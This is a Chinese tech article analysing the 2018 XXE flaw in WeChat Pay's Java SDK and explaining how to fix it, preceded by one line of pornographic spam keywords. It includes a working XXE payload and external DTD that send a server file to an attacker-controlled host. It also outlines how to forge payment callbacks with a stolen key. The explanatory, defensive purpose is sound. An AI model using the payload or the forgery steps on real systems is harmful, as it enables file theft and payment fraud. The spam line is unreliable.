偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

可怕!微信支付被曝漏洞,危害不只是“0元也能買買買”!

安全 漏洞 應(yīng)用安全
微信是最流行的 App 之一,特別是隨著“二維碼付款”成為潮流,越來越多的小伙伴早已習(xí)慣不帶現(xiàn)金出門。

 微信是最流行的 App 之一,特別是隨著“二維碼付款”成為潮流,越來越多的小伙伴早已習(xí)慣不帶現(xiàn)金出門。

[[235536]]

如果有人告訴你,現(xiàn)在不用你花一分錢,就能用[微信支付]買買買,這種天上掉餡餅的事,你會(huì)相信嗎?

7 月 1 日,在老牌漏洞披露平臺(tái) Full Disclosure 出現(xiàn)了一封寫給微信支付的公開信。

發(fā)件人是 Rose Jackcode,信的標(biāo)題是《微信支付官方SDK的XXE安全漏洞(微信支付在商戶頁面遺留了一個(gè)后門)》。

▲發(fā)表在漏洞披露平臺(tái) Full Disclosure 上的公開信

發(fā)件人 Rose Jackcode 在信中稱,他在微信支付官方 SDK(軟件工具開發(fā)包)發(fā)現(xiàn)了一個(gè)安全漏洞,此漏洞可導(dǎo)致商家服務(wù)器被入侵,一旦攻擊者獲得商家的關(guān)鍵安全密鑰,就可以通過發(fā)送偽造信息來欺騙商家而無需付費(fèi)購買任何東西。

[[235537]]

王牌對(duì)王牌

換句話說,黑客利用微信支付的這個(gè)漏洞,能實(shí)現(xiàn) 0 元無限買買買。

這并不是說說而已,這位網(wǎng)友還直接甩出了兩張圖,展示出漏洞利用的過程,中招者是 VIVO 和陌陌。

▲陌陌、VIVO 的微信支付漏洞利用過程

看不懂沒關(guān)系,為了方便小伙伴理解,他們舉了個(gè)小例子:

這個(gè)過程叫“商戶回調(diào)接口”,而這個(gè)漏洞可以讓微信支付產(chǎn)生“人家付款成功了”的錯(cuò)覺,從而讓黑客實(shí)現(xiàn) 0 元購。

隨后,微信支付技術(shù)安全團(tuán)隊(duì)已關(guān)注問題并及時(shí)排查,并進(jìn)行更新,修復(fù)了已知的安全漏洞。

雖然微信支付安全漏洞已經(jīng)被修復(fù),但大家關(guān)注的熱度依舊高漲。查看百度熱搜指數(shù)發(fā)現(xiàn),微信支付被爆漏洞這一話題依舊高居榜首。

一定不少小伙伴要吐槽了:“怎么又是修復(fù)好了才告訴我?有沒有感覺錯(cuò)過了幾百萬哈....

[[235538]]

大多數(shù)人可能并不關(guān)注怎么修復(fù)安全漏洞,而是較為關(guān)心對(duì)個(gè)體產(chǎn)生的影響。下面我們從技術(shù)人的角度談?wù)勥@次微信支付曝出的漏洞。

技術(shù)角度解讀微信支付曝出的漏洞

對(duì)于昨天(2018-07-04)微信支付的 SDK 曝出重大漏洞(XXE 漏洞),通過該漏洞,攻擊者可以獲取服務(wù)器中目錄結(jié)構(gòu)、文件內(nèi)容,如代碼、各種私鑰等。

獲取這些信息以后,攻擊者便可以為所欲為,其中就包括眾多媒體所宣傳的“0 元也能買買買”。

漏洞報(bào)告地址:http://seclists.org/fulldisclosure/2018/Jul/3

漏洞原理

XXE 漏洞

此次曝出的漏洞屬于 XXE 漏洞,即 XML 外部實(shí)體注入(XML External Entity Injection)。

XML 文檔除了可以包含聲明和元素以外,還可以包含文檔類型定義(即 DTD);如下圖所示:

在 DTD 中,可以引進(jìn)實(shí)體,在解析 XML 時(shí),實(shí)體將會(huì)被替換成相應(yīng)的引用內(nèi)容。

該實(shí)體可以由外部引入(支持 http、ftp 等協(xié)議,后文以 http 為例說明),如果通過該外部實(shí)體進(jìn)行攻擊,就是 XXE 攻擊。

可以說,XXE 漏洞之所以能夠存在,本質(zhì)上在于在解析 XML 的時(shí)候,可以與外部進(jìn)行通信;當(dāng) XML 文檔可以由攻擊者任意構(gòu)造時(shí),攻擊便成為可能。

在利用 XXE 漏洞可以做的事情當(dāng)中,最常見最容易實(shí)現(xiàn)的,便是讀取服務(wù)器的信息,包括目錄結(jié)構(gòu)、文件內(nèi)容等;本次微信支付爆出的漏洞便屬于這一種。

微信支付漏洞

本次漏洞影響的范圍是:在微信支付異步回調(diào)接口中,使用微信支付 SDK 進(jìn)行 XML 解析的應(yīng)用。

注意這里的 SDK 是服務(wù)器端的 SDK,App 端使用 SDK 并不受影響。

SDK 下載地址如下(目前微信官方宣傳漏洞已修復(fù)):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK 中導(dǎo)致漏洞的代碼是 WXPayUtil 工具類中的 xmlToMap() 方法:

如上圖所示,由于在解析 XML 時(shí)沒有對(duì)外部實(shí)體的訪問做任何限制,如果攻擊者惡意構(gòu)造 XML 請(qǐng)求,便可以對(duì)服務(wù)器進(jìn)行攻擊。下面通過實(shí)例介紹攻擊的方法。

攻擊復(fù)現(xiàn)

下面在本機(jī)環(huán)境下進(jìn)行復(fù)現(xiàn)。

假設(shè)本地的 Web 服務(wù)器 127.0.0.1:8080 中存在 POST 接口:/wxpay/callback,該接口中接收 XML 字符串做參數(shù),并調(diào)用前述的 WXPayUtil.xmlToMap(strXml) 對(duì) XML 參數(shù)進(jìn)行解析。

此外,/etc/password 中存儲(chǔ)了重要的密碼數(shù)據(jù)(如 password1234)。

攻擊時(shí)構(gòu)造的請(qǐng)求如下:

其中 XML 內(nèi)容如下:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE root [ 
  3.     <!ENTITY % file SYSTEM "file:///etc/password"
  4.     <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd"
  5.     %xxe; 
  6. ]> 

其中 /etc/password 為要竊取的對(duì)象,http://127.0.0.1:9000/xxe.dtd 為攻擊者服務(wù)器中的 dtd 文件,內(nèi)容如下:

  1. <!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>"
  2. %shell; 
  3. %upload; 

通過 xml+dtd 文件,攻擊者便可以在服務(wù)器 http://127.0.0.1:9000 中會(huì)收到如下請(qǐng)求:http://127.0.0.1:9000/evil/password1234。

這樣,攻擊者便得到了 /etc/password 文件的內(nèi)容。

在本例中,攻擊者竊取了 /etc/password 文件中的內(nèi)容,實(shí)際上攻擊者還可以獲取服務(wù)器中的目錄結(jié)構(gòu)以及其他文件,只要啟動(dòng) Web 應(yīng)用的用戶具有相應(yīng)的讀權(quán)限。

如果獲取的信息比較復(fù)雜,如包含特殊符號(hào),無法直接通過 http 的 URL 發(fā)送,則可以采用對(duì)文件內(nèi)容進(jìn)行 Base64 編碼等方法解決。

漏洞的解決

解決該漏洞的原理非常簡(jiǎn)單,只要禁止解析 XML 時(shí)訪問外部實(shí)體即可。

漏洞曝出以后,微信進(jìn)行了緊急修復(fù),一方面是更新了 SDK,并提醒開發(fā)者使用最新的 SDK。

SDK 中修復(fù)代碼如下:

加入了如下兩行代碼:

  1. documentBuilderFactory.setExpandEntityReferences(false); 
  2. documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); 

此外,微信官方也給出了關(guān)于 XXE 漏洞的最佳安全實(shí)踐,可以參考:

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

筆者本人使用上述方案中建議的如下代碼修復(fù)了該漏洞:

  1. DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); 
  2. documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl"true); 
  3. DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); 
  4. …… 

擴(kuò)展與反思

危害不只是“0 元也能買買買”

在很多媒體的報(bào)道中,強(qiáng)調(diào)該漏洞的風(fēng)險(xiǎn)在于攻擊者可以不支付也可以獲得商品。

攻擊者在通過上述漏洞獲得微信支付的秘鑰以后,有不止一種途徑可以做到不支付就獲得商品。

例如,攻擊者首先在系統(tǒng)中下單,獲得商戶訂單號(hào);然后便可以調(diào)用微信支付的異步回調(diào)。

其中的簽名參數(shù)便可以使用前面獲取的秘鑰對(duì)訂單號(hào)等信息進(jìn)行 MD5 獲得;這樣攻擊者的異步回調(diào)就可以通過應(yīng)用服務(wù)器的簽名認(rèn)證,從而獲得商品。

不過,在很多有一定規(guī)模的購物網(wǎng)站(或其他有支付功能的網(wǎng)站),會(huì)有對(duì)賬系統(tǒng),如定時(shí)將系統(tǒng)中的訂單狀態(tài)與微信、支付寶的后臺(tái)對(duì)比。

如果出現(xiàn)不一致可以及時(shí)報(bào)警并處理,因此該漏洞在這方面的影響可能并沒有想象的那么大。

然而,除了“0 元也能買買買”,攻擊者可以做的事情還有很多很多;理論上來說,攻擊者可能獲得應(yīng)用服務(wù)器上的目錄結(jié)構(gòu)、代碼、數(shù)據(jù)、配置文件等,可以根據(jù)需要進(jìn)行進(jìn)一步破壞。

漏洞不限于微信支付 SDK

雖然微信支付曝出該漏洞受到了廣泛關(guān)注,但該漏洞絕不僅僅存在于微信支付中。

由于眾多 XML 解析器默認(rèn)不會(huì)禁用對(duì)外部實(shí)體的訪問,因此應(yīng)用的接口如果有以下幾個(gè)特點(diǎn)就很容易掉進(jìn) XXE 漏洞的坑里:

  • 接口使用 XML 做請(qǐng)求參數(shù)。
  • 接口對(duì)外公開,或容易獲得:例如一些接口提供給外部客戶調(diào)用,或者接口使用 http 很容易抓包,或者接口比較容易猜到(如微信支付的異步回調(diào)接口)。
  • 接口中解析 XML 參數(shù)時(shí),沒有禁用對(duì)外部實(shí)體的訪問,建議大家最好檢查一下自己的應(yīng)用中是否有類似的漏洞,及時(shí)修復(fù)。

XML 與 JSON

XML 與 JSON 是系統(tǒng)間交互常用的兩種數(shù)據(jù)格式,雖然很多情況下二者可以互換,但是筆者認(rèn)為,JSON 作為更加輕量級(jí)更加純粹的數(shù)據(jù)格式,更適合于系統(tǒng)間的交互。

而 XML,作為更加重量級(jí)更加復(fù)雜的數(shù)據(jù)格式,其 DTD 支持自定義文檔類型,在更加復(fù)雜的配置場(chǎng)景下有著更好的效果,典型的場(chǎng)景如 Spring 相關(guān)的配置。

題外話:微信支付的簽名認(rèn)證

在前面曾經(jīng)提到,應(yīng)用中存儲(chǔ)的秘鑰一旦泄露,攻擊者便可以完全繞過簽名認(rèn)證,這是因?yàn)槲⑿胖Ц妒褂玫氖菍?duì)稱式的簽名認(rèn)證。

微信方和應(yīng)用方,使用相同的秘鑰對(duì)相同的明文進(jìn)行 MD5 簽名,只要應(yīng)用方的秘鑰泄露,簽名認(rèn)證就完全成了擺設(shè)。

在這方面支付寶的做法更規(guī)范也更安全:支付寶為應(yīng)用生成公私鑰對(duì),公鑰由應(yīng)用方保存,私鑰由支付寶保存;在回調(diào)時(shí),支付寶使用私鑰進(jìn)行簽名,應(yīng)用方使用公鑰進(jìn)行驗(yàn)證。

這樣只要支付寶保存的私鑰不泄露,攻擊者只有公鑰則難以通過簽名認(rèn)證。

參考文獻(xiàn):

  • https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
  • http://seclists.org/fulldisclosure/2018/Jul/3
  • https://www.cnblogs.com/tongwen/p/5194483.html

關(guān)于此次微信出現(xiàn)的支付漏洞你怎么看?掃描下方二維碼,關(guān)注51CTO技術(shù)棧公眾號(hào)。歡迎在技術(shù)棧微信公眾號(hào)留言探討。

責(zé)任編輯:武曉燕 來源: 互聯(lián)網(wǎng)
相關(guān)推薦

2015-10-27 14:57:22

2014-04-18 09:16:37

2023-07-03 11:37:35

語言模型代碼

2018-09-20 18:23:49

人工智能AI

2015-06-10 11:10:08

戴爾云計(jì)算anycloud

2017-03-25 21:13:38

JavaScript排序

2020-05-22 13:59:13

SSD內(nèi)存DDR4

2018-05-11 14:31:45

SSD價(jià)格Flash

2025-04-29 12:05:41

2021-05-04 19:24:04

數(shù)字人民幣數(shù)字貨幣區(qū)塊鏈

2021-03-13 06:59:07

支付寶隱藏技巧支付平臺(tái)

2021-04-17 15:14:24

微信0day漏洞

2013-04-25 13:58:15

編程

2016-04-20 17:16:04

2016-05-30 10:14:11

2021-11-05 11:17:45

互聯(lián)網(wǎng)996大廠

2010-08-05 09:29:08

jQuery

2024-11-26 11:02:17

2020-07-15 09:55:50

fastjson類庫漏洞

2011-06-29 16:29:19

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)